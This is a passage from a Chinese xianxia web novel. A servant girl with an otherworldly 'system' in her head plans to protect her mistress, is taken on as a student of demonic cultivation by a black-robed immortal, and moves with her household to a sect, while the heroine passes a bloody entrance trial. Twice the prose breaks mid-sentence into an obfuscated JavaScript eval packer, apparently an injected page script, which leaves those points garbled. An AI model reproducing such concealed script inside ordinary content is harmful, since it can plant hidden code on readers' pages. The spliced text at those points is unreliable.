「你刚刚怎么没动静了?」 【宿主,系统判定你这是在调情。系统这时候不看不听的。】 「……」应该是耍流氓才对,不需要这么委婉。 「接触时间够久了吧,你有没有得出点有用信息?」 【有有有。听我慢慢跟你说——】 「……我累了。等会再说。」 我再没有听系统说话的心思,只想抱抱我人生中最重要的两人好好撒个娇。 5. 上一世的我和女主 “怎么回事?” 小姐拉着我回到马车上才发问。 我一走到她身边,她已经结束谈话,再不说什么,拉着我往场外走了。 娘坐在我们对面,不开口,但看着我。 娘一直是这样,淡淡的不爱说话。从小到大不管是我生病还是工作出状况,都是她陪在我身边。话很少,但我知道她在。 我很小的时候好像很爱生病,娘会在我生病时照顾到后半夜打瞌睡,还会喂我吃饭,帮我擦身体降温。是因为娘这么照顾我,我再长大一点到现在没再生过病。 我是她拉扯到大的。哪怕她害了全世界,哪怕她对我有所隐瞒,哪怕她将来打算害我,我都还是爱她。 我不相信她对我没有一点感情。 就算也许她不爱我,肯定也不是讨厌。 所以……我就有点想哭。 “没事。”我对小姐故作镇定,“我调戏了一个女修。小姐,我们打人是对的,我用的是那些登徒子的做法,女修姐姐说夜半要来杀了我呢。” “不许胡说。”小姐抱住我,“乖,乖,玉府巡察森严,没有人能进来,回去我立刻把这事禀告城主。你看,我说的是城主,说明这不是家事,而是府上的公事,没有人能强闯玉府,有人下战书,我们就调十倍百倍兵力过来驻守,你要是记得那人的脸就更好办,命画师画出人像全城张贴,那人就算不被抓也不敢青天白日出来,更没时机夜晚擅闯了,这些都不是大事。” 这时。 “她进不来。”我娘说。 我娘说话……是那种十分普通的,嫁了人的女子声音,柔和,顺从,也有些弱气, 有点像夹着嗓子说话。 ……没准真的就是。 我知道她生不出我这么大的女儿,估计也没结过婚,那么结了婚的女子如何说话,一定是她自己观察得来的。 说话少可能也是因为夹着嗓子说话不容易,需要少说。 ……是之前我从未发现。 小姐没有发现这些异常,柔声安慰我:“阿母说得对,重兵之下,她进不来。” 小姐一安慰我就更委屈了,抱着她脖颈撒娇。 她胸前好像有个小盒子? 悄悄硌我一下。 “小姐真好,喜欢。”小姐和冷冷的女主完全不一样,身上香香,任由我抱。 我在她脖子上亲了一口。 小姐摸摸我脑袋:“会痒。” ……我更想哭了。 受委屈想哭是很正常的。一想到如果小姐会死,再没有人让我这样撒娇,再想到我死了我娘会不会很难过,她可以不爱我,但她一定习惯了我们两个在她身边,突然间再没有人陪伴她, 她怎么能不难过? 我改变她,一定很难。 她能作为最后大反派,说不定从前就认识女主,结下仇怨,就算没有,能反派到底,肯定也是和女主很不对付。 如果我提前让她知晓我要帮助女主,她很有可能会阻拦我。 不如……等到我成功救下小姐,证明我有办法改变这一切,再和她沟通。 若是我连拯救小姐都做不到。 那想要守护我的家,也不过是空话。 一听我们惹上了修士,城主没多过问原因,因为不需要,以玉城权势,就算错在我,城主也不会问这些浪费时间,更不需要惧怕计较,理出个谁是谁非。 有人预约行刺,那就多招人来挡。人来了捉住审判,扭送刑场。 几个修士再厉害,也做不到以一敌一千,一万。 小姐传了画师。 ……你以为我不会留下那人样貌? 怎会,我不是什么善人。 仅凭我一人对上修士,是蝼蚁撼大树。在没有离开玉府前,玉城是我们的倚仗,有手牌不用等着送死吗? 如今小姐谈妥了师门,过几日去寻仙问道,到那时玉府要是遭人擅闯,万一没抓住人,可不就没人知道刺客长什么样。 小姐给画像留了底,嘱托她离开后发生这种情况就把画像交给城主。 要是一直没有刺客来,那这张画像就不会见天日。 传召专人处理我的头发间隙,小姐怜惜摸着我的断发:“人不犯我,我不犯人。就算是灵佑调戏了她,连碰都没碰到,她也不该狠毒到要夺人性命。如果那个女修不来玉府找麻烦,她的画像便不会满城张贴,也不会被通缉,一切全看她自己如何选择。我已经很大度了,灵佑,你的头发要好久才能长好。” “……好。”我回握住小姐的手。 这么讲理的小姐不可能无端攻击别人。一定有什么预兆,那是个需要我认真留心,精准察觉的瞬间。 我一定能阻止她。我一定要自己拥有能够阻止小姐的力量。 请来给我打理头发的专人,听说是以前伺候宫里的女官。 女官也没什么好办法,为我梳了精致发髻,用簪钗遮住断发处不协调。 怎么也没办法完全自然,小姐让女官走了。 重。 我的头很重。 而且出门在外,戴这么多装饰,光是打理就很不方便。 我一个一个拆下,把剩下的头发挽了个低垂小辫,搭在肩上,那个女修可能是火属性,她的刀烧焦了我断裂处发丝,我的头发现在扎成小辫也卷卷的,炸毛。 灯下,发梳上雕刻着一曲戏文。 精致人像在灯火中翩翩起舞。 那是曾经人界战乱年代,一对不得相守的恋人的故事,传说两人相继去世后在鬼界重逢,因为一生颠簸看破红尘,最后也没能走到一起,而是以邻人相称,共同研究出如今鬼界盛行的主流功法,故事的结局,两人在创造传奇后悄无声息魂飞魄散,很多鬼界居民说,听见两人大笑着离开,声音一直传到上面几界。 “这样也好。”小姐为我梳理头发,“戴多了会重,灵佑不喜欢,那就都不需要。” 我拉起她的手,把手指伸入她的手指,“小姐,在你的人生不需要我之前,我都不会离开。我可以成为你的任何人,女仆,朋友,家人。” 或者恋人。 或者,陌生人,仇人。只要不是魂飞魄散。 小姐按了按我的手:“我只需要你做自己人生的主角。可以不像戏台上那样跌宕起伏,但要快乐。” 夜里。 今夜我没和小姐一起,睡在外间我自己的床上。 因为我睡不着。 小姐明天开始有事要忙了,我怕会影响到她。 睡不着,我和系统聊天。 「你的眼睛看得很广?」 那我是不是可以把它投掷出去。 【系统是720度全方位视角,不需要眼睛,但必要时可以借用宿主的眼睛帮助观察。实体离开宿主三步自动返回,你看见的我的动作都是程序设定,我们每个统装载不同程序,可以模拟不同人格,我们的设定非常精密,就算用科技手段检测也测不出我们在情绪模拟程序上和活人的区别。哦,对了。还有件事。】 【因为本系统这次非攻略系,宿主不以攻略主角身心为目标,强行开启不该使用的功能非常耗费能量,所以感知主角情感波动功能处于关闭状态,如果以后情况有变会考虑启用,望宿主知晓。】 「……嗯。」我想问的并不是这些。 而是……不知道该不该开口。 「上一世的女主……这时怎样。」但还是要问。 这本书它有一个初始世界,就是原作中发生的事。原作中的女主也许和很多人有过纠葛,这是小说设定,不曾在这个世界发生过,当故事真的成为现实,女主开始偏离她的轨迹,她上一世在偏离中凄惨死了,这次重来还在往刀刃上撞。 但我有个推测。 即便是原作中,按照系统说的发展下去,女主的结局想来也并不好。小说设定她被众叛亲离,重生后复仇。即便这条路能成,身边再没有一个亲近之人,这就会让她开心了吗? 系统的回答。 公事公办。 【上一世女主这时候被打得只剩一口气,就被你遇见的那个女修,她是文中前期反派,活得没你长,名叫荷乘蕴,是琉璃乐阁的音修长老,杀人时会使刀。我对她的信息来源于女主前世认知,她的小徒儿是女主同伴,帮忙一起接委托,死了,她友人帮忙去向女主讨公道,被雷劈得灰都不剩……她前期追着女主打,但女主就是打不死……哦对,女主从小就遭雷劈,她出生时一道雷落在产房院里,当场带走她一个亲族,她母亲可能也是因为受惊吓产后不足,没到三年去世了……所以荷乘蕴她追着女主打,女主能躲过雷击她躲不过,甚至熬不到女主通过内门升学测验……最后故事以女主成功进入内门,某些当前阶段反派身死告一段落,迎来新篇章。】 「……女主她进了哪个门派?」 看来我很难改变故事走向。每件事其实都充满预兆。 【她上一世是被你家小姐面前的两人救下,希行门人界分之掌门希汀吟因此对她留有印象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荷乘蕴死了徒儿亲友找女主报仇,我死了小姐,明着打不过女主,就暗地里捣鬼。也或许娘是因为我的事才成为大反派。 我就是那种帮亲不帮理的人,自私自利,我自己知道。 小姐对我这么好,主角团又没帮助过我,还杀了我的小姐。我凭什么帮她们反过来害我娘? 那我才是真蠢。 又蠢又傻。狼心狗肺畜牲一个。 【你对女主偏见很大。】 「那又怎样?你不用担心,我这个人很公平的,现在她和她的同伴还没做过这些事,我不会把个人情绪带入工作,只是提醒自己长个心眼罢了。这不是偏见,是我为自己留得神。我在告诉我自己,主角也会杀人不眨眼,并不会因为是主角就从不沾血,我将要身在修仙者的世界,掠夺本就无处不在。我时刻谨记于心,只有自己强大才能保护家人。」 【……】系统再次陷入那种有话要说但顾虑不说的沉默。 我没去问它到底要说什么,吸一口气沉入胸腔屏住,我在酝酿。 在思索将要成为女主的什么。 就像她问我那句话,我要怎样待她? 接近讨好? ……她是主角,成长之路不缺同伴。再说,系统说她天煞孤星,命格不够硬的人在她身边十有八九要死,我既然是个会死的反派,肯定命不够硬,也扛不住雷击。我不能全天待在她身边,也不想。 一定有什么身份能影响女主,让她会考虑到我的行为举动,却又不会让她觉得这是轻飘飘的事,看过就忘了。 能对女主造成这样影响的身份…… 【……】 后来的对话模模糊糊。 我睡着了。 有个影子,在我床头。 那个影子……看起来好像我娘。 她没说话,好像就是到床边来查看我睡得好不好,然后离开。 但我感觉似乎是她……拍了拍我。 于是我醒来。 今夜玉府重兵把守,在小姐院中甲胄之声还听不太真切,只能看见一些幽幽火光,从院墙外投射进来。 如果走出院子,就能看见包围整整四面院墙,密密麻麻排列的士兵,一只苍蝇都飞不进来。 娘是想叫我不必害怕吗? 她知道我没有睡踏实? 不管怎样,我从梦中醒来,在夜风中,站在窗下,感受夜晚的凉意。 当我站够了,回头之时。 【宿主别出声,别害怕。慢慢回头,身后有人。】 6. 同一个夜晚 系统提醒的瞬间,我汗毛倒竖,一寸寸扭头。 听见骨头和血液嘎吱嘎吱流动。 一道黑衣人影静静站在我身后,不过三步远处。 “你看见过我。” 她说。 她伸出一根手指,在空中画下符号。 以我和她为圆心,无形的能量场向外扩散,不知为何,我就是能感受到,有什么东西不一样了。 好像四周所有的风声,树叶吹拂声,或是摇曳的烛火,都在这一瞬间静止,再无响动。 “你是那天站在树顶的……你是仙人吗?”我问。 “是。如果你想问种族,我是魔。但成了仙之后不问种族,就是仙。” 她的语气给我一种很奇妙的感觉,好像此刻在她面前的并不是一个对她来说像蝼蚁一样的我。而是…… 一个对等的人。 她没理由待我这么客气。 “褚灵佑。”我向她伸出手。 “莫莹绣。”她握了一下我的手。 「她是谁?」 【只从姓名探测不出,女主记忆中从未出现这个名字。】系统说,【但能够知道的是,她是个反派,比你能量丰富。】 某种程度上,我的揣测应验。 针对女主的……可不止这人界小小的磋磨。等她飞升神界,有大把好事等着她。 人倒霉也该有个限度,她现在离成仙还八竿子打不着一撇呢,更别提封神了。 “你所来何事?” 我问。 “教你功法,学么?” “……邪修?” 莫莹绣看我一眼,“是,也不是。用你们人界说法是,但在我们魔界,那就是最普通的功法。” “要杀生?” “大部分的仙不杀无辜。杀生减损寿元。如果一个人要杀你,你反击,那便不叫滥杀无辜,是败者技不如人。” 这人,有趣。 “我还以为仙人都是呆板的。” 莫莹绣好像想笑,但话说出口还是一派严肃:“仙人也是人,是人型生物。传说这世间开始只有人,后来才有了妖魔和鬼神。妖是吸取世间元素的精怪,魔是吸纳世间恶意的集合体,人有生死才问鬼神。” 是啊。 这世间唯一的神是神君。 新封的小神君刚上任没几年,外表看着还是个不足十岁的小孩。 而且神君更新换代很快,等到女主飞升神界,说不定都换过好几茬。 “你成仙后被召唤过吗?”我问。 “还没有。” 听说每个仙人在位列仙籍时,都会留下自己的召唤条件,毕竟是仙人,吃被称为凡间的四界信仰供奉,所以有信徒达成了仙的召唤条件,这个仙就会降临在信徒身边,根据契约内容为信徒达成愿望,同理,当鬼修有威望时也可以被召唤,这种鬼修被敬称为鬼仙,但……到底不是真正的仙,名不正言不顺,所以人界主流还是信奉仙人。 目前在人界最受欢迎,信徒最多的仙名叫白昳,是位女仙,道成八万年,没有任何门派,从前是散修,收徒靠机缘,一生行善积德,慢慢修行,最终飞升神界。 她的故事至今仍是许多修士乃至普通人的道标,代代人皇更是大力推广,哪怕是刚上学堂的小儿都能说出几个这位仙人的光辉事迹。 只是对普通人来说,耗费一生寻仙……也见不到神仙下凡。我的命运,真奇特,不是吗。 “人族有邪修吗?” 莫莹绣:“有,最典型是合欢宗。无情可成仙,有情怎么不能?只是……世人容易沉溺情爱,能做到反用情爱修行之人,极少。” 我忽然想到种可能。 也许某个世界,女主去了合欢宗。我也是。 “……”这算什么,女主文标准套路?她不用天雷给自己洗血脉,就只能做世人不齿的邪修。 其实,云间月早在一开始,就为自己做了选择。 如果是我……我很怕疼。 所以会加入合欢宗。 “你以为合欢宗是专教那些事?”莫莹绣谈到这个话题时没有避讳,“合欢宗在人界门生较少,功法在人族来看是邪术,在妖魔两界是大门派,门生无数,若有一日你去魔界,定然能发现,合欢宗最像人,善交流,察言观色……” 说到最后,她警告我:“如果你遇见合欢宗之人,打起交道来要小心。” 我忽然在这个本该草木皆兵的夜晚感到安逸起来,眼前的这个女仙也不再让我感到害怕。 “好,我的问题问完了。换你问我。” “你似乎认为你无法以人身修行。”莫莹绣有困惑,“我不懂,是什么人灌输了你这种念头。你可以做邪修,只要不走火入魔滥杀无辜,不是所有的邪修都靠害人获得能量增强自身,邪修只是功法走捷径,不被世人认可,尤其是你们人族。若你是魔,那一定会成为魔主麾下干将,我们魔界女子当家,你必定大有所成。” 我知道那个提醒我的东西是谁。 在这一刻,我明白了系统的欲言又止。 它终于出来告诉我答案。 【你的能量紊乱,在邪修眼里是香饽饽,因为在你体内各种元素能量都能和平共处,一般修士这样早就爆体而亡,你天生适合通过功法掠夺各种各样的能量为你自己所用,世间单一元素能量要靠自己吐纳提纯才能进入体内,你只要开始运功,各种各样的优质能量不需要提纯就会往你身体里钻。但是思绪也是能量的一种,这个过程中你会接触到很多恶念,心智不坚定容易走火入魔,被恶念控制身体。这个过程你会相当痛苦,你练功的每一分每一秒都是在刀尖上行走,一旦你走火入魔,我也无法帮你,我能做的只能是换个宿主。但……你通过了我的测验,我……】 「我知道,你对我还算满意。下一个不一定有我目标坚定。」 “但是走捷径一定有吃苦头的时候。如果失败会如何?” 我要听听莫莹绣的回答。 “看来真的有什么人告诉过你这些事,”莫莹绣没有问我那是谁,只说, “没有什么好办法。以不断探索打败成规,你活得越久,世界也许不会越清晰,但一些事会变得不再那么历历在目,也就不重要了。心结,执念,都会随之消散,任何恶念都不足以成为阻碍你的东西,你利用世界,也永远被世界利用。你并没有亏欠这个世界什么东西,所以——有什么事不值得你好好活着?放着大好前途不要,一辈子做个百年寿命的普通人?” 说真的,她说动我了。世间道路千千万,如果我做不到,那就是自身不足,怨不到旁人身上。 我纳闷:「这种功法是不是更适合女主修行,你说她以后要封神,神君都是无情的,比无情道还无情,如果女主用这种办法,岂不是事半功倍?」 【女主一开始体内能量也很杂,她靠自己努力,雷劈她一次,她就用来自世界的力量把杂乱元素强行转化成两种,最终给自己洗净血脉,这个过程一般人能疼死。就算真能引来雷击,也劝你不要试。】 「那你总不能让我不要这个也不要那个。否则今天的事就是个例子,谁都能杀了我。」 【魔法少女。超人。】系统说出两个词。 【就是这种直接使用能量战斗的存在,只要你与我合作时间够长,我就会为你积攒足够多的能量,你们世间的任何一种依靠元素能量才能施展的法术,都是能量使用方式,而非真正使用能量。只要给我时间,我就能让你成为直接使用能量的人,到时候连神你都可以杀死,从存在形式上铲除得一干二净,有些宿主甚至靠这种办法统一了宇宙,掌控无数个世界,支配无数个未来。】 「……那是不错。」只要等待,依靠系统就可以不用承担风险。 我对莫莹绣行了一礼:“我要叫你老师吗?” 【你……】 莫莹绣直接了当拒绝:“我的门派名为千云阁,总部在魔界,现在起你是门派记名学徒,只需以名姓称呼我,我会对你非常严格。” 「但我是个全家快死了的反派。我等不到那一天,而且,我奉劝你,还是少说这些空话为好,浪费我的寿命。」 “好。”我用愉悦心情对黑衣女仙展露笑容:“现在就来当我的老师吧!” 【唉……所以说。我……才不太想遇见事业心强的宿主。机关算尽……不过你的世界也没有这个典故,既然你选了这条路,从此以后我还是会尽心尽力为我的业绩负责。】 系统不再说话。我也不再诱导它和我讲话。 我已经得到了答案。 这个世界,即便是修行成仙,莫莹绣也发现不了它的存在。 系统不是某个人派来编造故事引诱我的出窍神识或是法术,而是真正的,世界外来者。 莫莹绣给我一本书:“这本书是我门派秘法,只有像你一样体内能量多而杂的人才能激活,否则只是一本普通的空白书。入门需要你自己独自思考,我不能教你什么。” 她再递给我一块金属牌子:“这是传音令牌,等你能够使用法术,用法术激活它,不管你在哪,我会去找你,指导你下一步如何修行,会像今夜一样无人发现。” 这个夜晚。风吹草动,渐渐恢复如初。 莫莹绣和来时一样,在我不曾察觉时离开。当虫鸣在耳边响起时,我看向今天依旧圆满的月亮,忽然, 没那么怕了。 有一种可以好好入睡的安心。 【现在你彻底信我不是妖魔鬼怪了?然后你走上邪修的路。】 系统果然发现我在做什么,但它一点不生气。它的内核,非常稳定。 「292系统,你不用太担心。没有人把我逼上绝路时,我可以不用它做杀人放火的事,但如果有一天我一定要死,那也要给主角团留下我是个坏蛋的证据,不然她们不就成了错杀无辜的恶人?世界不会这么发展,我成为邪修是必然,不然以后怎么让女主脑海里充满恶念。」 【……知道了。】系统装模作样叹着气,话锋一转:【呵呵,这回又摆烂不了啦。还没告诉你,系统都是有内置商城的,能让宿主买东西,商品根据宿主世界设定生成,功能上大差不差,付出能量买小道具,实际上未必能用对地方,唯一的好处是系统出品,世界不会发觉异状,只会当做是个法宝。宿主这个世界,法宝都能定义为能量存储器,我看这些东西对我们当前世界用途不大,次次赌能抽中个有用东西,不如一次积攒很多能量开个大的。等我准备好,让你看看老骥伏枥的统有什么本事,比那些系统商城强得多,正好你也要开始修行,会拥有更多能量。】 世界外来者说要给我厉害东西。「……」 这不是好事。 系统越厉害,说明我们的阻力越大。 女主的人生路,究竟有多少麻烦,需要用到世界外的力量帮忙? 「这个夜晚……女主有她自己的机缘,这时她或许正在和掌门沟通,我不后悔我是个反派,也没有打算从此做好人。反派和主角一样,有自己的人生。总之,我会再见到她。」 在安心感中,我逐渐入睡。 · 同一个夜晚。 “一刻钟,只要你或你的攻击能碰到我,掌门就会破格录取你做外门学徒。” 玉城外空地上, 云间月与紫衣女修隔开距离站着,约十步远。 再远处,是掌门希汀吟。 希梦淮说完上面那句话,风声安静,一抹乌云遮盖天空, 地面昏暗无光。 云间月行了礼,抽出她的重剑。 不一样了……已经成局的事,出现偏差。如果,她不在这里抓住一线生机,她仍旧活不过今夜。 ‘我……看见你的未来。你走下去,死路一条。’ 前世,那个死于她手的黑衣散仙,这样警告过她。 “开始。”希汀吟一声令下。 希梦淮周身,劲风如刀,地上草木翻卷,强劲的风像张开能量场,踏进一步血肉横飞。 女修立于风中,衣摆不动,也并未取出武器,就这么微笑看着云间月。 “法术无眼不问生死,还请珍重。”希梦淮看似惯例叮嘱,眼中却没有笑。 云间月重剑指向风阵中心紫衣少女,以剑为支撑,一步向前。 ‘你看,这人界山河,比神界还要多彩几分,若你留下,可活到天道崩毁那一日……当然,你也可杀我。’ 散仙身后,是死去一地的同伴,血污落在那身黑衣上,仿佛炼狱恶鬼。 第三步,重剑出现裂痕。 云间月身着血衣,血液顺着她的脚滴答流淌,她每走一步,留下一摊积血。 ‘杀了我,你便一次又一次走上这条路。你救苍生,苍生负你,天道不允你死,你如何寻死?’ 那散仙以为她是踩着人骨爬上峰顶,以为世间万物伤不了她,拿着一个方盒子,里面…… 第五步,受伤的腿,流出更多血液,她拖着伤腿走,疼痛吗…… 她走过很多痛苦的路。 是一颗幽蓝宝石。 那颗宝石凝聚着……无穷尽的力量。她能感受到,若以它做阵,必然能抗过每次有人杀她时一并降临的天雷,在天雷阻止前杀了她。 她劈开散仙的防御,散仙把宝石放在她面前,不在乎自己生死,只要她做选择。 ‘我奉主之命来杀你,为你终结一生。你杀我,我也只觉自身技不如人。’ 第七步,重剑断裂。 “呀,你的腿……受伤了啊。”看不见的斩击贯穿她小腿,骨骼碎裂,她在希梦淮身前单膝跪地。 她那条没有受伤的腿。 断了。骨头凸出皮肉,一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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半截染血残剑,从背后刺穿云间月胸膛,重剑很重,力道止不住向前,穿过云间月,轻轻,戳中希梦淮手臂。 希梦淮大惊皱眉,接触她那部分剑身瞬间化作粉末,试图欲盖弥彰。 云间月倒在地上。 “停。” 但已经无效,希汀吟挥散风阵,飘然落在场中。 “梦淮,重了。回去领罚三天。” “母亲!”希梦淮不甘,“法术无眼,受伤本就是常事,打伤了人结仇自己担,这不是您一贯常说的吗?我门派也没有打伤了人就要受罚的规定,等会找个人给她治,她腿伤也会好,治疗天赋者稀少,有几个凡人能有幸被治疗法术医治,说谢还来不及,如何要罚我……” 希汀吟:“你与她对打时,她非我门派学徒,这场比试从你开口要求之际,三天的罚跑不了。” 地上,云间月慢慢支起身子,拔出胸膛上的断剑。 她本就是修士,而且算不得正统修士,只要身体没破损到无法护住生命存活需要的血,剩下的,都可以慢慢恢复。 有一句话,那散仙说得不错。 她很难死。但……如果她不拼上最后一口气力,还是会死。 希梦淮只得哑火,看着很不高兴,“母亲说得是,女儿这就去给新学徒找人医治。” “不必了,我来。” 希汀吟在云间月身前排开数道法术,白光照亮月夜,似乎驱散了头顶乌云。 满月光芒照耀,云间月顶着一身血衣站起。 希汀吟站在两人中间,示意两人先不要走:“你来时腿上有伤,你们今日互相过招,以后是同门,有任何不满,当场说出来当场解决。” “不。”云间月拜了拜,“我没有任何不满,学徒拜谢掌门知遇之恩。” “那好,走吧,你看来带着仇家,随我去门派报到,你的仇家可能越不过山门,追不到你,也可能悄无声息杀至,自己多留心。” 云间月没动,而是问:“掌门,许多人死于学徒手中,掌门可要过问。” 希汀吟看看新收的徒儿这身脏污,心道,本就破例为之,何不再多做些,她是有女儿的人,见不得女娃受屈脏成这样。 心中悄悄掐了个仙人常用的避尘法术,见徒儿一身干净,才开口: “何必?世人罪行皆由自己承担,苍天在上,神界万仙与神君,哪个没有沾染过罪孽?在成仙之前,我们吃世间生命而活,在成仙后,若是有仇家上门,也要拼尽力气应对,能一心向善是好选择,没有选择时……自己担着就罢了,能否成仙看天分,更看个人造化,边杀人边救人的仙……也是有的。” “是。学徒知道了。”云间月回答。 希梦淮看云间月一眼,面上没说什么。现在她母亲未经检测录取了这人,私下收徒是偷跑,等传回神界去,少不了被万家仙门指点问责,降惩罚下来,比她做三天打扫苦力严重得多。 这人连句嘘寒问暖都不会说,可惜了这张乖巧好脸蛋。该不会…… 她的母亲耶!想到某种可能,母亲不会是要再收养一个女儿?!她记得……母亲她好像是……有点看脸。 这么一想确实有可能。再一想……不正是这人来求她母亲?天啊,母亲如果只是私下开了先例偷跑收徒,被罚俸禄做些苦力挨一顿打也就罢了,如果还收这人做女儿……那就不是打一顿就能解决的事,那是循公济私,是最要不得的!一定会被关起来,夺去掌门之位,说不定……会被处死。 ……全是这人的错! 希梦淮气压更低,闷着头走。 呵。她不会让这事成真。她会千方百计,想尽办法,不会让这人的手段得逞。 “我多问一句,”希汀吟声音平静,“白日站在你身侧的女孩子,是何人?” “她名叫褚灵佑。我们此前并不相识。”云间月答。 她前世……有见过这个女孩子吗?好像是……有的, 希汀吟想到她看过的那场测试……恐怕那个女孩以后会成为邪修,温声叮嘱:“我不会命你与她少来往。她不适合修行,想来你们不会再见了。” 正是这句话,让云间月灵光一闪。 那是一次门派试炼,她在成片树荫背后,看见过那个女孩子。 像是她眼花,女孩子下一秒,就不见了。 现在想来,也许……还会出现。 或许,又一次打乱她计划。不得不防。 云间月眼下困顿得解,却没有松口气。尽管计划被打乱,她仍旧如前世一样,以后会成为掌门学徒,然后…… 走上那条她的路。 若能避开,她不报复。时间太紧,没空。 世界不会眷顾混吃等死之人。她问散仙最后一句: ‘那你能否告诉我,我身前是什么?’ 散仙不答,引颈就戮。 到死,她都没能知道散仙名字。 月光苍茫。五界共享同一片日月。 ……她身前,是世界。 7. 不要爱上系统 清晨,希梦淮开始打扫。 她领了三天的罚,不得用法术,要亲自做。先是扫地,然后扫空置宿舍,最后是门派祠堂。每天不打扫完不能休息。 她走到那间很久无人居住的院落前,习惯性地脚步往里面拐。 这座院子里有个鱼塘,里面是她喂的鲤鱼,因为院子本身作为单间宿舍,要向门派缴纳很多供奉才能分配入住,价钱太贵,这间平时总是没人,她最喜欢夜里一个人在这里弹琴舞剑。 好像……今天就有人来住了。 是那个玉家的小姐。 人界第二城,城主嫡女。 是她们这些修仙世家投生一辈子也遇不到的富贵,照理说,这些世家一般只是过来玩玩,过一阵子就会回去。 但那个小姐……口才很伶俐,天分也上佳,就这么玩一阵回去……着实可惜。 也没关系,等她一走,自己又可以在这间院子里打发时间了。 希梦淮想着,打扫完了院子,最后临走时,来喂她的鱼。 也不知道……那家的小姐会不会帮她喂鱼,照理说,就算她隔一阵夜里来喂,对方也发现不了,但规矩就是规矩。这里住了人,她就不能再来。 不能再来啊…… 希梦淮郁郁寡欢喂着鱼,她其实就这么点乐趣。修仙的日子平淡如这池水,整个门派只有这处隐蔽水源中有观赏鱼,池子建在院落里,平时不会有学徒用水来试法术威力,如果没有这池水,她的日子将会失去唯一的乐趣。“大黄,小黄,大红,二红……” 一条一条叫鱼的名字。 鱼过来吃食,她把鱼食罐子放下,幽幽说:“多吃点吧……每次学徒入学到第一次入门测验差不多要一个月,就算想退学也要一个月后才能走,这一个月……就不能来喂你们了。眼看要入冬,虫子也少了,怕你们没东西吃……” 希梦淮越想越郁闷,再想自己还有两天的活要干,母亲可能过一阵就会被传去神界总之那边领罚,还有母亲很中意破例收的那个学徒……她绝对不能让母亲真的收养她,先是破例已经不合规矩,要是这之后再收养,母亲会被判一个循公济私,被夺去掌门职位,在神界总之的地牢里关上许多年,或者……被处死。 她绝对,绝对不让这种事发生。 要是……能知道对方在想什么就好了。 不知不觉间,希梦淮拿出她的古琴,衣袖一扫,琴弦无风自鸣。 她拿出一卷乐谱,空中放着,边看边舞剑。 琴声悠然响起,她脑中全是不愉快的事,一个不留神,竟然把乐谱划成两半。 倒也没关系,乐谱上卷她记住了。希梦淮把上半截乐谱压在鱼食罐子底下,继续练下半。 ……这卷乐谱是她一个多月前从琉璃乐阁的一个音修那用刀换来的,一直没得空练完全篇。她本身不用刀,留着也没用,那音修弹一遍这首曲子,她听了很喜欢,音修说这曲是万鲤宫宫主和手下管事排的,不外传,因为从她这换了消息,她想要乐谱来抵钱,就给她了。 当时希梦淮还叹,‘万鲤宫出手向来大方,付钱用金色灵石,你也肯?’ 那女修大笑:‘我有什么不肯,又没人规定买卖东西一定都要用钱,千金难买我高兴,人活着别那么无趣!就像我看中我徒儿天资,那必然对她倾囊相授,这首曲子我记住了,也会教她的啊,先说好。’ 于是她也笑:‘我非音修,弹琴只是爱好,你随便传,喜欢的东西别人也喜欢,我会高兴。’ 希梦淮慢慢练着,不知不觉……竟然过去半个时辰。 “不好!” 她一声惊呼,收起琴和乐谱,带上打扫工具匆匆离开。 剩下鱼食罐子压着半截乐谱,在阳光下静静等待被发现。 · 小姐到门派报道来了。 因为男配逃也似的,一天不想多耽搁,也没带什么行李,选完师门第二天就跟着来接我们入学的希汀吟掌门走了,要不是小姐提前收拾好行李,恐怕还跟不上。 希行门驻地在离玉城千里外的山中,本身处于修仙者这边,是人皇划分出来的,不属于朝堂势力的地盘,只要不出大事,在自己地界上有管理权,出了事自己解决,不用上报。 整片山都是希行门地界,大大小小十几座山头。前面的是外门,后面的是内门。 山门脚下有些村落,是维持门派运转的重要集市田地之类。 过了这些村庄,就是山门前的台阶。 今天是第一天,不用爬,不足百人被法术带上去,山门前无人迎接,分配了宿舍,学徒去报道,仆从们整理安顿。 修行……照理说,就是离开家,不能带人随侍,但有句话怎么说,有钱能使鬼推磨,家里向门派缴纳了供奉的学徒,不光可以带仆人,还会分到一间独立小院,本身自带镇守结界,不被居住者邀请的人无法进入,里面几处带着门厅的房屋,每处左右各有一间房可住人,中间做客厅隔开,方便仆从贴身伺候。 可能是有天赋的人不多,我们这一批仆从,等到负责教规矩的长老来时,才聚集起几十个人。 长老姓赵,没说叫什么,精明中年女性,安排我们第一天先处理好各家小姐公子的事,明天再来讲堂报到进行培训。 不是所有的仆人都可以做伴读,有意向的要在培训过后参加考试,才能去陪自己家主人,否则一个个出去不懂规矩只会添麻烦。 赵长老说得很委婉,也足够客气,一看就是和大户人家打交道久了出来的人精,修为未必高深,但绝对精通为人处世,听对方说话就像打官腔,和小姐平时相处的那些世家极像,话怎么听也不得罪人。 在场人心知肚明,真的有意寻仙问道不会带这么多仆从,多半是主人有自己目的,出来游玩一番,要不了多久就会离开回去,如果给这些人穿了小鞋,就算自身在门派工作,亲族呢?等这些世家回去查查是哪家哪户给的气受,敲敲打打能让一个家族瞬间散了,所以话不说太重,不必往严格了用心教,有用消息只说三分,你好我好大家好。 小姐去报道,我和娘开始收拾小院。 玉府缴纳了不少供奉,院子比寻常富贵人家要大些,有树,有假山鱼池,还有一座池中小亭,院子和房间不脏不乱,不住人时肯定有人在打扫。 我们只是把行李物品取出,摆放在小姐习惯的位置,把这里布置得像在府中。 院中还配了一间厨房,门派中有食堂,如果不想吃统一饭食,可以让仆从下山采买,自己做自己吃。或者买成菜回来。 小姐这次铁了心不想提前回去,可能也怕多些人盯着她不好行动,再加上男配那赶着走的猴急样,真的让城主没机会多塞人,她只带了我和娘两个人出来。 这里的食堂估计是粟米,小姐吃不惯,所以——我打算下山买。但忽然想到一个可能。 整理摆放完毕再没事做,我问: “娘,你会烹饪么?” 我娘从身上翻出一本菜谱:“现学。” 如果真是一个结了婚的妇人,说不会做菜,那已经是件怪事。 